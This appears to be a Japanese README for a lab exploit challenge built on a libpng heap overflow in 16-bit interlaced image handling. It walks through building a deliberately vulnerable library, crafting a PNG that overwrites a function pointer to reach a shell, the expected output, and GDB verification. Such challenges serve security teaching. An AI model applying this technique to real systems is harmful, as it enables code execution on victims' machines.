このチャレンジは、libpng の実世界のバッファオーバーフロー脆弱性に基づいています(具体的には、16ビットのインターレース画像を処理する際の簡易API png_image_finish_read に関するものです)。
提供される脆弱なバイナリ victim は、静的にリンクされた脆弱なバージョンの libpng を使用しています。このアプリケーションは、exploit.png という名前のPNGファイルをバッファに読み込みます。
あなたの目的は、ヒープオーバーフローを引き起こす悪意のあるPNGファイルを作成し、画像バッファの直後にある Logger 構造体内の関数ポインタを上書きして、実行を win() 関数にリダイレクトし、シェルを起動することです。
前提条件: gcc, , , , , , 。
makepython3gitautoconfautomakelibtoolリポジトリをクローン:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
チャレンジをビルド(脆弱なlibpngを含む):
./build.sh
このスクリプトは以下を行います:
libpng ソースコードを構成し、パッチを適用して脆弱性を有効にします。libpng ライブラリをビルドします。victim バイナリをコンパイルします。この脆弱性は、libpng が16ビットの入力を8ビットの出力に変換する際にインターレース画像を処理する方法に存在します。
PNG_FORMAT_RGBA) を要求します。libpng は8ビットデータに十分なバッファサイズを割り当てます。png_combine_row が出力バッファに対して入力の16ビットのビット深度でデータを誤って書き込みます。バイナリには、execl("/bin/sh", ...) を呼び出すヘルパー関数 win() が含まれています。そのアドレスが必要です。このバイナリは -no-pie でコンパイルされているため、アドレスは静的です。
nm victim | grep win
# Output: 00000000004013e0 T win
ターゲットアドレス: 0x4013e0
solve.py)有効なPNGを作成する必要があります:
IHDR) で16ビット深度を指定していること。win のアドレス) を形成するピクセルデータを持つこと。solve.py スクリプトは以下を行います:
Logger 構造体までのオフセット(バッファの開始から 4096 バイト後)を計算します。win アドレスを配置します。IDAT チャンクに圧縮します。ペイロードレイアウト:
win アドレス 0x4013e0 (リトルエンディアン: E0 13 40 00 ...) を16ビットRGBピクセルにエンコードする必要があります。
悪意のあるPNGを生成:
python3 solve.py 4013e0
これにより exploit.png が作成されます。
victimを実行:
./victim
期待される出力:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
オーバーフローの動作を確認するには、GDBを使用できます。
1. 脆弱な呼び出しの前にブレークポイントを設定:
break 62
run
2. 上書きを監視:
Logger 構造体はオフセット4096にあります。ターゲットの関数ポインタを監視しましょう。
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. トリガー:
GDBは、png_combine_row が関数ポインタに書き込むと停止します。
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
これにより、libpng が私たちのポインタを win のアドレスで上書きしたことが確認できます!
victim.c: 脆弱なソースコード。solve.py: エクスプロイト生成スクリプト。libpng-src/: libpng (v1.6.37) のソースコード。build.sh: すべてをコンパイルするスクリプト。Makefile: victimバイナリのビルドシステム。